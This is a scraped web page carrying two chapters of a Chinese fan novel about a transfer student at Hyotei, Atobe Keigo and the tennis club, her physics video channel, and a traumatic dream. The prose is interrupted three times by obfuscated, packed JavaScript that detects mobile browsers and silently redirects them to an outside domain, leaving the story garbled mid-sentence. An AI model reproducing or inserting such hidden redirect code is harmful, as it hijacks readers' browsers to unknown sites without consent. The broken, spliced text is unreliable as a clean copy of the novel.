这就是最合理的答案。逻辑天衣无缝,毫无纰漏,不可能有其他选项。 诚然,迹部财团的员工福利待遇之优渥,在业界具有相当响亮的名声。每年一到毕业季,经筛选后仍有一大堆简历会塞满父亲的邮箱,等待父亲作最终的boss面。 如此激烈的求职竞争,那些几页塞不下的优厚福利待遇,很难说不占主要原因。 不提别人,她记得有一年父亲还不是首席技术官,只是一个项目组的组长,因攻克对家的一项专利技术而获得当年优秀员工,迹部先生就在年会上,直接给父亲发了一辆保时捷。 不只给予了使用权,甚至给予了归属权。 也就是说,即便她父亲第二天火速辞职,开走这辆保时捷不交还给迹部财团,也是一点问题都没有的。 但是吧。 比起保时捷,十个数的年终奖,确实还是太超过了。 谁家好人发年终奖发十位数呀,又不是救命之恩力挽狂澜。boss 再大方,员工福利再好,也没见过谁家把钱这么造的。 退一万步来讲,这数字,即便迹部董事敢发,他们家也万万不敢接。 属于搁置一旁仅仅看着就害怕的程度,当晚要携一楼母亲养的金渐层猫猫,二楼她养的金丝熊鼠鼠,一家五口齐齐整整潜逃海外。 生怕这是最后的晚餐,迹部财团要用这笔钱来买她父亲的命。 所以,无论正着推,或者反着推,她的插梳和这颗“伊甸园玫瑰”根本就不搭边。 清原雪绘对此深信不疑。 森田梨佳也被逐步说服。 她转了转手中的插梳,瘪着嘴愁苦遗憾地叹了一声,才将其递还给雪绘:“仿品都已经这么惊艳了,不知道真品该有多震撼……唉,恐怕我这辈子是再也见不到一眼了,真让人难过。” “没关系啦,竞拍如战场,胜败乃兵家常事,下一场又是一条好汉,”雪绘安慰她,一边把插梳重新插回发间,“日后肯定还有与你更有缘,更贵重的珍品的。” 她温和地劝解着,顺带理顺耳鬓侧的发丝。 ——“呵。” 细碎摩擦声窸窣在耳后。 微小的间隙中,她听见一声轻傲的笑音,又夹杂着简直拿某个人没有办法,只能选择放任和纵容的无可奈何。 并不真切的声量,含混模糊,像隔了一层阻碍,想压制却无法完全做到的一点轻微泄露。 清原雪绘:“?” 她扭头往后看。 周围同学聊天的聊天,吃零食的吃零食,玩手机的玩手机,没有任何一个人关注她们。 清原雪绘:“……” 可能是自己听错了。 她转回视线,无意间扫视到离同桌较近的迹部景吾。 并非特别留心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057812|162928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是他的气质和身高,向来出类拔萃,如同暗红绒布承托出的雪亮钢刀,坐哪都鹤立鸡群,不让人注意他反倒是难事。 环境嘈杂喧闹,人影晃来晃去。 但他却丝毫不会受到干扰,垂眸从容捻一篇书页,独自在座位上专心看书。就连刚才她和森田呜呜喳喳的聊天,他也不受半分影响。 虽然人在教室,却又不属于这间教室。他将自己和其他人泾渭分明地分隔开,冷淡屏蔽掉一切包括她在内他不感兴趣的人事物。八风不动,似乎也感受不到她视线的存在。 雪绘定睛一看,那篇书页立了起来,墨黑大字题目是—— 《资本积累与生产性和非生产性劳动积累的关系》 清原雪绘:o . O 哥们,不愧是你。 世家继承人之所以为继承人,果然有其拔群于常人的地方。 这个题目光念着她舌头都要打结了。 他却能在纷杂环境下潜心阅读,专注地思考其中的深意。 怎么说,未来将要掌管规模横跨各大洲地大财团的掌舵者,金字塔顶端的人物,同她这种两手一摊,随时可以开摆的平凡人(家里的确依照“她是废材她很柔弱她在家抠脚也不愁吃穿”做打算)相比,属实是大有不同。 关于插梳和稀世珍品之间的相关性掰扯,彻底告一段落。 同桌和她聊起其他话题。 从最近的电视剧,电影,爱豆组合,到好玩的乙游……你一句我一句,互相捧哏,场面一度热火朝天,毫无冷场尴尬的机会。 说到都喜欢的同担,两个人握着手一起手舞足蹈地夸;谈及都讨厌的同拒,两个人拍着桌一起义愤填膺地骂。 几轮闲聊下来,了解到对方大部分属性都和自己一致,契合度高达八成,两个人都很惊喜,彼此觉得对方真是自己高山流水的知音,打着大功率强光探照灯都难找的那种。 要不说女生建立友谊特别简单呢。 只要共同喜欢一样东西,或者共同讨厌一样东西,一起真情实感地蛐蛐过,就可以了。 如果喜欢和讨厌的都高度重合,那更是了不得,直接飞升为莫逆之交,两肋插刀。 看着同桌类比家人般无比亲切的神色,雪绘感到尤为欣慰和庆幸。 这个座位选得对,选得太对了。有这样一位相性良好、品格也大气爽朗的土著同桌,以后冰帝生活肉眼可见的舒心。 “对了清原同学,你有决定好要加入哪个社团吗?”同桌问,“冰帝的社团活动可是很丰富的,你都来交换学习了,不想体验一下吗?” 雪绘想了想,一时间脑海里浮现不出确定的社团名称。此类问题她倒没有认真思考过,毕竟一开始选择冲冰帝交换生,她一门心思憧憬的,只有卓越计划的项目名额而已。 清原雪绘:“没有,社团什么的还我没想好。森田同学有推荐的选项吗?” “没有的话,那正好啊!” 同桌一拍大腿,仿佛这个回答正中她下怀,高兴得眉毛几乎斜飞出鬓角: “要不你来网球部当我的辅助经理吧!我们网球部是冰帝实力最强,福利最好的社团呢!来我们网球部,包你不会后悔。” 清原雪绘:诶?! 没记错的话,网球部的部长,不就是…… 目光跨过同桌肩头,疾速瞥向像是听不见她们谈话,正一脸平静看书的迹部景吾。 森田梨佳曲解了她动作的含义,以为她是顾虑着迹部景吾同意与否,解释道: “你放心,这件事我已经和我们部长谈过了,只要清原同学你点头,加入网球部的事不会有任何问题的。” 让新同学成为网球部辅助经理一事,绝非森田临时起意的突发奇想。早在几天前,于网球部活动室中,她便已经和迹部景吾达成了协定。 如果不是原先的辅助经理这学期交换去了樱兰,她也不至于费这么大的牛劲。 一开始,她也提了几个网球部里的老成员。可惜皆被迹部景吾一一驳回。 不是这个人有这项任务,就是那个人有那项任务。这也不行,那也不行,这这那那的,轮完一圈也挑不出合适人选。 最后,所有策略被迹部景吾全盘推翻,她委实被逼到了山穷水尽,身体往沙发上一躺,整个人摆出万念俱灰,破罐子破摔,下一秒就要找根绳在活动室一哭二闹三上吊的死样。 “我不管,反正部长你得从里面挑个人出来帮我。网球部200多名成员,部长你管得过来,我可管不过来。” 基于家里和迹部家有长期生意来往,往上数几代还是血亲,双方长辈关系密切,连带他们也算熟识,所以有时候说话不需要太有边界。 况且这不也是被逼急了眼嘛。 “实在不行,不然你撤了我的网球部经理一职,让其他比我有实力的同学来担任吧。反正我菜我认,我绝无怨言。” 总之,闹麻了。 迹部景吾看起来也像被她闹麻了。他看似恼火地捏了捏鼻梁,沉思良久,勉强提供一个解决方案:“我突然想起来,这学期会有外校的新同学交换到A班学习。” “你可以去问问她,或许可行。” “新同学啊……万一她不愿意怎么办呢?” “如果她不愿意的话。” 迹部景吾十指交叉抵着下颌,微扬唇角,隐隐透出志在必得的底气:“我会给你想办法。” 9.09 雪绘犹豫地摩挲着手指,默不作声,既不说好也不说不好。 倒也不是她自己不愿意。 基于先前的好感度打底,同桌满怀诚心诚意的邀请,虽然有些突兀,却并不让她反感。 况且诚如同桌所说,冰帝这风水宝地,既然来都来了,就应该沉浸式感受一下和秀知院截然不同的氛围,不然交换生体验不就大打折扣。 而作为校园生活占比极大的一环——课外社团活动,自然是体验项的重中之重。 拖住她做决定的,是违反理性分析的直觉。 找不到线索,看不见预兆,但她就是无端认为哪里不大对劲。 隐隐有种说不上来的扯拽感,如同一种警示,像自然灾害前,动物本能试图避灾的焦躁不安,于是不停地刨坑挖土,树起坚固的戒防。 再进一步深想,森田梨佳是在她本人来A班之前,便已经提前得知A班会加入交换生,还产生了“希望她来担任辅助经理”的设想么…… 虽然依常理而言,各级部的分班名单会在临近开学时公开。 ……但总觉得哪里怪模怪样的。 “哎呀——清原同学,可不可以嘛——” 雪绘良久不言语,森田便小心揪住她的衣袖。 手指勾着晃一晃,又晃一晃。 音调随嘴角撅起来。汪开水雾瞪着她的眼睛也在阳光下晃一晃,充满了恳求和期盼,像亮晶晶的糖心玛瑙。 “我原来的辅助经理去樱兰了,眼下实在是找不到人……你放心,辅助经理也就平时忙不过来时帮我分担一下,大部分杂务还是我负责,不会占用你太多时间,”她真诚道,“清原同学,我特别希望上课之外的时间,也能多多和你待在一块。” “你长得又好看,说话又好听,性格也跟我合拍。我超喜欢你的,清原同学——” 清原雪绘:“……” triple kill,接二连三的直球攻击命中了她。 她张了张嘴,轻微地翕动一下,还是将预备挂在唇边的拒绝咽了回去。 本想遵从自己的第六感,硬起心肠直接回绝。最终败于自己性格中吃软不吃硬的漏洞。 不过这也是人之常情。 一个和自己兴趣相投,会撒娇,又甜又乖的可爱妹妹的央求,谁能顶得住呢? 森田梨佳继续晓之以理:“而且这事我和我们部长也商量过了。我们都没有意见。” 似乎是为了印证她的话没有作假,她转过身,冲迹部景吾大大咧咧地挥一下手:“部长,部长,迹部部长——” 迹部景吾慢条斯理地抬起头,微一蹙眉,似乎是被人强行打断阅读,略有些无奈和不得已:“怎么了,有什么急事需要现在和我讲?” 森田梨佳笑嘻嘻:“不好意思部长,我想再和你确认一遍,我让清原同学来担任我的辅助经理,你看可以吗?” “随便,你自己看着办吧。” 非常平淡,不以为意的语调,隐隐透出一副“这种小事也值得来打扰我”的意味。 随后,他低垂下视线,凝眉重新聚集专注力阅读。从书本中来,到书本中去。拇指和食指夹住立起的纸页,生怕在她们这无关紧要的琐碎上多浪费他人生中宝贵的一秒钟。 雪绘悄声瞟了一眼纸上的题目大字。 竟然还是—— 《资本积累与生产性和非生产性劳动积累的关系》 清原雪绘:O . o 距她上次看见该题目少说也过去了半小时。这么长时间,她和森田梨佳都闲聊了几个来回,他却仍停留在这一页,阅读进度,居然是零耶。 ……噢,看来这本书真的好难的哦。 把几无苦手学科的冰帝首席都难倒了。 “清原同学,”森田梨佳忽然推了推她,放软声音继续软磨硬泡,“你看,我说部长那边肯定没有问题的吧。” “只要你肯点头,这件事就成了!” “不过你要是实在不愿意,那就算了,没关系的。我也不好勉强你……但是清原同学,我仍然特别、特别希望你能答应我。除了你,我也不想再找别人。” 同桌“啪”的一声,双手合十高举到鼻尖,像是对着神像虔诚地祈祷:“请好好考虑一下吧!拜托你了,清原同学。” 清原雪绘思索半晌:“……好、好吧。” 终究还是拆掉戒防,松了口,答应了同桌。 其实仔细深究起来,刚才向她发出警示的直觉和第六感是毫无道理的,根本不用过于在意。 没有客观的因果证据,执着于莫须有的可笑担忧,却对朋友实实在在的难处视而不见,她委实做不到。到底狠不下这个心。 从另一个方面来讲,估摸着迹部景吾日常要处理的事务堆积得多,忙都忙不过来,虽然同在网球部,大概没多余的闲工夫关注她,比直接当他同桌朝夕相处要轻松许多。 所以,接就接了吧。 不会存在太大的问题……应该。 “好耶!” 三个字的简单答复,令同桌相当开心。像只吃饱喝足的愉快仓鼠一样嗖地凑过来,她一把抱住雪绘的胳膊,用脸颊轻轻蹭了蹭:“谢谢你清原同学,太感谢你了!” 一桩积压已久的心事完美解决。 森田梨佳如释重负地长舒一口气。她掏出手机,和雪绘互相添加了社交好友。备注名输入至界面的一刻,她不禁对为她提供可行建议的“贵人”,她的部长——迹部景吾肃然起敬。 说新同学会同意,新同学果真就同意了。 好厉害的判断,不愧是学生会会长兼年级首席,眼光如此精准独到。 她们这位部长,还真是料事如神呐! · 和结为联盟的友校秀知院有所不同,冰帝学园开学首日只进行开学仪式,并不正式行课。 上午发放课本,下午放假半日。 当天只需本人在校签个到,应个卯,剩下的时间留给学生们做一些收假收心的缓冲,以便次日上课时,能更好地适应讲课节奏。 仅从这点来看,冰帝的学风倒比开学首日就上课的秀知院宽松许多。 不同的学校通常会采用不同的教材。雪绘收到属于自己的全套课本后,大略翻了一下。 有些科目,尤其是基础文科,如国文、英语等,冰帝所用版本与秀知院一致,为文溪堂版。 但有些科目,特别是理学类,如物理、化学、生物等,却与秀知院大相径庭。 冰帝采用广济堂版,而秀知院采用东京书籍版,两版的内容安排多少存在差异。 物理她不担心。身为“物理考100分是因为卷面只有100”的优等生,在入学高中之际,她就已经把市面上全年级、所有版本的物理教科书网购回家,全部自行阅读了一遍。 比较苦手的是化学。 这是她的弱项,稍微有点偏科。 如同直男分不清女生口红的颜色,那些眼花缭乱的分子结构、晶体化学键在她眼里,仿佛都是一个妈生的姐妹,让她产生了些许脸盲。 于是,将其他学科的书籍留在学校,单拿一本化学教科书,预备课前先总体预习一遍,做到心中有数。 雪绘离开学校,根据事先查好的公交路线,径直到冰帝校门口对面的公交站台,坐指定公交车回家。不堵车的情况下,全程大概25分钟。 今天天气晴朗,早春的阳光温热暖和,舒适得让人直发困,融于风中,一股初绽春樱的味道。 歪头靠着有些热的公交车窗框。 她在座位上晒着背,同父母知会一声行程。 [群聊:二对一精准扶贫(3)] [你娃来咯]:妈妈爸爸,我回家了捏。 [你娃来咯]:(飞天披风猫猫头.jpg) [你娃来咯]:中午家里有饭吃吗?没饭的话我去爸爸那里蹭公司食堂吃。 [你爹来咯]:来嘛,直接到我办公室拿卡。最近食堂的掌勺师傅换了人,今天中午有你爱吃的铁板鱼肉饭。 [你妈来咯]:你们今天这么早就放学了呀? [你妈来咯]:冰箱里有你爷爷上周带来的水饺,回家可以煮了吃。不过你要是想吃铁板鱼肉饭的话,也可以直接去找你爸。 [你娃来咯]回复[你妈来咯]:是呀,冰帝今天不上课的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062008|162928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>[你娃来咯]:我还是自己下水饺吃吧。去爸爸公司我还要转车,怪麻烦的。 [你妈来咯]:看你自己,反正我们不在家,你想怎么安排就怎么安排。 对面两位成年人向来业务繁忙,喝水上厕所都得挤出时间,可能此刻回她消息也是抽空回复,因此只是随意聊几句,她便不再打扰父母工作,简单地和父母道了别。 公交车到站,下车,过一条马路进小区。 使用脸部识别通过门禁。 小区内,一幢幢联排别墅鳞次栉比地矗立,簇拥于修剪整齐的枝叶花草间。 她走到自家门口前,对着静脉解锁区域摊开手掌,打开门进了屋。 一楼,阳台处的猫咪正趴在窝中睡觉。尾巴裹住身体,毛茸茸的团子像一块芒果雪媚娘。 雪绘没有打搅它的好梦。 她轻手轻脚地上了二楼, 离午饭尚有一段时间,她也还没饿。把化学教材放到书桌上,身体直挺挺往床上一扔,她就趴着枕头玩手机。 在校的时候,森田刚把她拉进冰帝社群。 冰帝和秀知院一样,校内学生大多家世显赫,非富即贵。家里不是政商精英,就是某领域的顶尖专家,属于一板砖砸下去,未来好几个龙头企业都可能直接瘫痪玩不转。 出于对新同学们的新鲜感,她打开社群动态页,打算观察一下冰帝的富哥富姐们,和秀知院的富哥富姐们,两者间作风有何异同之处。 加载圆圈旋转两下。 第一条,率先跳出来的是迹部景吾的动态。 通篇没有一个字,仅贴一张老照片。 黑白色为基调,映衬历史书上的熟面孔。丘吉尔的V字手势。 V,victory,胜利。 二战时期非常经典的标志。 下面一水的热烈祝贺。 毕竟他的身份摆在那里,即使对着这莫名其妙的动态茫然不解,心意也总是要传达到的。 迹部景吾只挑了第一条进行回复。 ——“虽然不清楚发生了什么大喜事,但还是先恭喜一下我们冰帝的国王吧。有此殊荣实至名归。” ——“说恭喜还早着呢,刚挨上边而已。” “后面难处多得是。” ——“那这算不算半场开香槟?” ——“没办法,忍不住。” “再说,开始不就是成功的一半么?” 不知道他近日拿了哪样不得了的奖项,值得在朋友圈里如此显摆着昭告天下。 罕见地看他发一回动态。印象里,距他上一次有动静还是去年全国大赛冠军的时候。除了斩获这种极高荣誉,他偶尔会在她的朋友圈里鲤鱼打挺,其余时间基本查无此人。 和他现实中高调的作风背道而驰。 不过也不难理解,在能留下明显文本痕迹的公开社交网络上,谨言慎行是明智的做法。毕竟“迹部”这个姓氏,足够惹人注目,明里暗里不知道有多少双眼睛盯着他。 动态下排列一长串冰帝学生的点赞,她视若无睹似乎也不太好。现在她身为冰帝的一员,理当表现得合群。何况动动手指,也不费事。 拇指一按,她为这条动态点亮小红心。 红心点亮,发出动态的手机跳出通知。 振动,铃声,亮屏。 等级拉到最高的提示形式响应于点赞操作。 [特别关注:新动态] [“鼠鼠我鸭不想再上早八啦”用户点赞了您] 发出动态的人轻轻抚摸了一下这个昵称,旋即翘起唇角,摁键熄灭了屏幕。 他擦拭着手中的相框。 是一张被裱起来的肖像速写,他打网球的动态剪影。相框其实并不沾灰染尘,干净得光可鉴人。所以这个擦拭动作只是一种日常习惯。一应维护他向来不会假手于人。 家里的仆佣没有触碰它的资格。 仔细擦完一圈,相框被他摆放在床头。 其下一角,璨金色的阳光托着作画人的名字,一笔一划,清晰无比。末尾缠着衣摆的收笔,与肖像紧挨在一起—— [drawn by Yukie] 10.10[二合一加更] 不上课的下午过得还算充实。 拆开一袋爷爷带来的水饺,滚进油锅煎至两面金黄,拌一拌酸甜的酱菜,当作午饭。 稍作休息半小时,给母亲养的爱宠金渐层铲屎,给自己养的金丝熊打扫鼠笼卫生。 ——通常这些琐活,是她家雇佣的小林阿姨的工作。但她今天心情好,心情好人就闲不住,所以亲自上阵撸袖子伺候家里的两位祖宗。 打游戏两小时,把剩下的未通关卡标灰。 看评论回消息半小时。可能今天才开学,事多繁忙,她的自媒体频道新增留言不多,内容也大同小异。 一为向她讨教新学期物理学习方法,一为向她表达感谢,兴高采烈地哇啦哇啦看她发的视频物理考试得了多少多少分。 雪绘均挨个耐心回复,看见报喜留言,唇角不由自主上扬,心里像铺了蓬松棉花一样,柔软的,满怀老母亲看见自家孩子成才的欣慰感。 界面左滑,进入创作数据页。 固定项目出现:她的头号大粉——头像是一颗窝在草坪中的黄色网球,昵称为“AAA”,简称A——又双叒给她的新视频打赏了一笔不小的数额。 首位数后面跟着的零,一眼过去都看不清有几个。 不过她也懒得数。她不打算让这些钱进自己的口袋。 这位A先生,或者A小姐,也有可能是跨性别人士,每过段时间会固定给她打钱。一直稳坐她的支持者榜首位置,从来没被别人挤到第二位。原因无他,实在是给得太多。 俨然是她的榜一金主。 她计算了一下本月的打赏收益,决定将这笔钱捐给她长期捐赠的慈善机构。 她开设这个频道本就没想过赚钱。 毕竟家里一向秉承“没苦不要硬吃”的理念,在物质方面未曾亏待过她。 但凡正当合理,要什么买什么,每月还划拨固定的零花钱,用于社交玩乐吃吃喝喝。即便稍微奢侈点,购置漂亮衣服和包包也完全够花。 一开始的契机,只是想实践所谓的“费曼学习法”,用自己的观点将学习内容讲一遍,截掉正脸上传视频,不仅练习表达能力,知识也能更深刻地留存于记忆。 粉丝积累是意外的正反馈。 去年下半年,一向死气沉沉的频道忽然有一波泼天的流量涌进来。 有许多年纪小的弟弟妹妹,或者年纪大辅导作业的家长,一致认为她讲解的方式不仅生动有趣,还便于理解,纷纷为她点下follow按钮。 那位A也是在此时跟进来的。 A金主不语,只是一味咔咔给她打钱。 从第一个视频,到最后一个视频,统统打赏一遍。数额之大,隔着屏幕都令人心惊肉跳。 为避免惹上更大的麻烦,雪绘当即对其进行移除粉丝并永久拉黑的大动作。 拉黑以后,金主终于第一次和她说上话。 当然,是新开的小号私信她。 什么“抱歉,我没有恶意,只是很喜欢你的视频”,什么“这样优质的内容,应该让更多人看见,才不算埋没你的才华”,什么“优秀的人才理应匹配与之相当的地位”吧啦吧啦。 清原雪绘:思索,挠头,夸得脸红。 她对关注度并无太大执念。不过能帮助到更多人,从一条条感谢评中反刍出实现自我价值的充实感,比获取知识的快乐更令她激动。 是像钻石一样值得精心收集起来,装进水晶玻璃瓶里珍藏。往后如遇阻碍停滞原地,被困难击倒,即将输给自己软弱的瞬间时,要用掌心捧出来看的——她最初,也是最重要的理想。 经长时间观察,此人的确表里如一,没有借着打赏的名义,妄图同她提出各种不怀好意的奇怪要求。 A金主不语,线一上就是咔咔给她打钱。 局面就此定下。 她上传视频,A送礼打赏。回回不落,稳定的发视频——打钱关系延续了大半年。 劝不动,根本劝不动。 便随对面去了。一切收益转为善款。 她私下不是没侦查过“AAA”的身份。然而对方不给她露出任何破绽。主页空白,信息空白,不发评论,亦不搞幺蛾子。她无从下手。 ……或许是哪位和她一样热爱物理,还钱多烧得慌的富家大小姐/公子哥吧。她稀里糊涂地猜测了一个结论。 查看完留言,最后预习化学收尾。 翻开目录,预计总览需两小时左右。中午吃饭时在脑子里过的任务安排,按部就班进行中。 雪绘自认自己是名典型的Judging[J]型人。 擅长做计划,擅长执行计划。从一堆杂乱的事务中,快速归纳整理出重点,并将任务井然有序地安排进空余时间,最后严格按照划分出的列表,逐一消灭待办。 即便偶有偷懒,短暂地化身为P人,事态进程最终也不会超出自己的掌控。 这种秩序感构建出的安全感,以及勾掉任务时提示音所衍生出的成就感,无时无刻不反馈给她精神上巨大的满足。 总而言之,爽! 今天也是有好好生活,收获丰富的一天呢! ——化学预习完毕,雪绘心满意足地划掉手机上最后一项to do。 下楼的时候,小林阿姨正好买菜来做晚饭。 父亲和母亲双双发来信息,说今晚两个人加班不回家吃饭了,让小林阿姨少做一点,免得吃不完倒掉浪费。 一个是因为迹部财团过段时间将举行新的产品发布会,据说在芯片方面有重大突破,他们这几天做最后的攻坚。一个则是因为最近大客户来考察,要陪同出行应酬,也不得空。 所以今晚家里仍然只有她和阿姨两人。 ……本月总共才过去三天,已经是第三次没办法一起吃晚饭了。 爸爸妈妈真的好辛苦啊。 雪绘在心底小小地叹了一声气。不知怎么有些说不清道不明的惆怅。 但抬头环顾室内,看了看自家宽敞明亮的大房子,落地窗下拖出的橘色长影,不由得挺起胸膛和脊梁,惆怅之外又感到特别骄傲。 没有家底根基,无法获得像她那些名流同学们一样生下来就唾手可得的家族托举,只能纯靠自己的实力打拼一片立足之地,从小镇做题家一路卷到普通人的上限天花板。 爸爸妈妈超厉害的! 水龙头下流水潺潺。厨具叮叮当当的声响像清脆的打击乐。 左右无事可做,于是在灶台旁帮忙打下手。 小林阿姨是个健谈的人,从小照顾她长大,与其说是雇佣的“阿姨”,不如说已经算作了半个家人。她一边备菜,一边和雪绘有一搭没一搭地唠嗑。 “小绘我跟你说,今天我买菜过来的时候啊,路过我们小区前面那座桥,看见对岸那无人机表演……哎哟,可好看了……听说是迹部财团花钱组织的……不知道花多少钱呢……” “好多人都跑过去围观,我被那些人撞了好几次……你看看我带回来的那一大堆东西,全被撞地上了……” “不过幸好有个热心小伙跑步路过,还一起帮忙我捡起来,甚至让人去附近超市借了辆小推车……我跟你说啊,我真的从来没见过长得这么帅的小伙子……” 雪绘对这些琐事兴致缺缺,觉得有点无聊,心不在焉地左耳朵进右耳朵。但为了不扫小林阿姨的兴,还是打起精神时不时嗯嗯两声,并适时表达出感兴趣的好奇三连: ——“这样啊!” ——“那是挺厉害的诶。” ——“哦哦,然后呢?” 受到唯一听众的“热心回应”,小林阿姨聊天激情越发高涨,开始兴高采烈地给雪绘描述那位热心小伙的长相。 “我跟你说啊,那个小伙子是真的特别帅,浓眉大眼的,瞳孔的颜色是蓝色,头发是紫灰色,特别洋气和高级……” 雪绘越听越觉得这个人怎么有点耳熟,试探性地问:“那个帮助您的热心小伙……是不是还有颗泪痣,在右眼的眼尾?” 小林阿姨:“对对……诶,你怎么知道?” 清原雪绘:“随便猜的。” ——那位帮助小林阿姨的热心小伙,确定为迹部景吾无疑了。 推测大概率是他跑步途中碰到了小林阿姨,心情正好不错所以顺手帮了一把。 不过她并没有挑明他的身份。雪绘坐在岛台边徒手剥着大蒜想,如果小林阿姨知道,是迹部财团的继承人亲自蹲地上帮她收拾一摊子杂货,应该会吓一大跳吧。 她知道迹部景吾在晚饭前有锻炼的习惯。 但她家离迹部宅实在不算近。超级富人区向来自成一派,不与其他普通住宅相连通。 这么看来,迹部景吾原来在绕整个东京市跑吗。 他可真是有力气得很呢。 · 吃过晚饭,小林阿姨收拾厨房,将家里上上下下打扫一番,保持干净整洁,物品各归其位,检查完猫粮和鼠粮是否新鲜充足后,她叮嘱雪绘独自在家注意安全,便离开回到自己的住处了。 家里总共上下三层,一个人在家总是感到孤寂空旷,难免还有些害怕。 雪绘打开一楼的落地灯,所在的二楼灯全亮,然后把猫猫抱到自己腿上,当成又厚又软的手托,食之无味地启动了一盘新游戏。 临近半夜,父亲和母亲还没有到家。 打完几轮游戏,越来越觉得无趣,正好困得眼皮开始打架,便去洗脸洗脚,也懒于像母亲一样抹瓶瓶罐罐水乳霜的,径自钻进被窝睡觉。 在黑暗中不知沉浮了多久。 迷迷糊糊间听见楼下轻微的动静,一路沿着楼梯,到达她的卧室前。 门栓小心翼翼地“嘎吱”一声。 房门第一次打开。 有人坐到她床边。她闭着眼,朦朦胧胧地闻见一股鸢尾香,熟悉温暖,散着让她安定的、轻柔抚慰了内心的味道,像婴儿被裹进母亲缝制的厚实襁褓,忍不住想去依恋母亲的心跳。 哦,是妈妈回来了。 雪绘拢了拢被褥,很幸福地贴紧她的脸颊。额发被温柔撩起。一个蜻蜓点水般的吻。 …… 门栓沉重凶狠地“咣当”一声。 房门第二次打开。 这次进来的不是母亲。 一群西装墨镜的彪形大汉闯进客厅。宽敞的空间瞬间被塞得满满当当。好多人。雪绘看不清那些人长什么模样,如同眼前被蒙了一层纱布,周围与她之间划分出无形的隔阂。 ——她反应过来,她现在身处梦境。 在这群大汉的包围中,她感受到了父亲的存在,以及一个比她要矮上几个头的小女孩。 ——那是她自己。四五岁的自己。 她此刻就站在她自己的身旁。 从中缓步踱出一个领头人。 虽然雪绘也看不见他的脸,但不妨碍她知道他姓甚名谁,和他们家是什么关系。那个人也穿着黑西装,在她的视野里是黑漆漆的方片。 唯有上衣口袋夹着的钢笔,像电影中的放大镜头,毫无征兆、硬生生地直怼到她面前。 她被定在原地,想躲。根本躲不开。 领头的男人站在父亲对面,和父亲交涉。他取下钢笔,在一个笔记本上写着字。 每写一行,就翻转纸面展示给父亲看。 在当前被围得密不透风的境地,雪绘听不见任何声音,像一名世界之外的旁观者,只被允许观看默片。 客厅里开了最大档的暖气,照样冷。 冷得让人发抖。 那个男人闲庭信步地走向她。 嘴角挂着和蔼的微笑。 忽然,他朝她伸出手。没有合上笔盖的钢笔刺向她,像飞来一支见血封喉的利剑。 后颈衣领被人拽紧,掼到她父亲面前。她好像又体验了一遍当时的情景——颈椎被尖锐的东西抵住,应该是钢笔的笔尖。 她被人挟持在手中,不敢动弹。一动,那尖端似乎当即会刺穿皮肤和骨骼,插.到她的脑干里去,插穿她的脑髓神经——她会死。 一支很普通的钢笔就能让她立刻去死。 她站在原地,周身血脉像被凝冻住了。 父亲的耳根连同脖颈已经涨得通红。 但他没有失去冷静,没有冲上去歇斯底里地和挟持她的男人拼个你死我活,甚至没有大吼大叫。“你提的要求,我会转达给我妻子”,他说,“今天下午我会去趟看守所看望绫香。” 单凭这点来看,父亲不愧是要干大事的人。 亲生女儿的命都捏别人手里了,仍然能从容不迫地与对方谈条件。 她看着吓懵的四五岁的自己,平静地想。 ——“爸爸,刚才那个叔叔……是上个月还带我去游乐场玩的胜村叔叔吗?” “是的,就是他……” “但是,但是……他不是爸爸妈妈最亲近的好朋友吗……” “……” ——“绫香,要不你就把公司给他吧。” 耳边环绕着爷爷奶奶的声音。 “只要人没事,什么公司,什么事业,以后都还是有机会的。” “你也知道,胜村家是政坛新星,叔叔是东京都检察长,大姐又是三友重工的大儿媳。我们只是普通人,硬碰不起。” “没有办法的。” “没有办法的。” “没有办法的。” 母亲一言不发。 盯着她的眼睛发红,红得像溢出一层血。 ——“公司是由我一手创建,它是我的心血。就这样拱手让人,眼睁睁看它在别人手里磋磨,还不如一刀杀了我。” “谦信,你现在跟我离婚,把雪绘好好抚养长大,就算你对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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是一看见就脑袋眩晕,手脚止不住地颤抖。 但老这样肯定不行,钢笔这种东西随处可见,总不能一辈子都躲着吧。最后,她决定采取心理学上的“暴露”疗法,几乎是强迫着自己,刻意训练自己对钢笔的使用。 原本以为到现在已经能完全磨平。 结果……多少还是有点遗留症状。 ……头疼。 雪绘轻轻搁下笔,指腹贴上太阳穴揉了揉。 房间里孤零零地亮起台灯。 她阖上眼睑。 此刻是黎明前夜。她坐于夜色中。 一声叹气之后。 万籁俱寂。 · 后半夜天气抖变。窗台凛风左右来回一刮,紧接着下起大雨。 一连串雨珠从屋檐坠落,敲在卧室的玻璃上,像一把小锤清脆急促地敲着钟罄。夜色热闹起来。伴随着闹腾的雨声,雪绘心里倒安静下来,一心专注预习化学直到起床时间。 卧室门外只有一双拖鞋声回响,也没有大人交谈的话音。 想必父亲昨晚又没回家,直接睡在公司了。 母亲起床的时候,她把教材和文具收好,轻手轻脚去厕所洗漱,愣是在清晨的寒气中,用一大盆最冰凉的水溺着脸,试图将困意鞭退,不敢叫母亲知道她其实大半个晚上没睡。 但还是在吃早饭时被看出端倪。 啃了两口杂粮饼,雪绘开始止不住打哈欠,眨眼睛,流眼泪,刻意憋气想将那股疲倦压下去都没用。 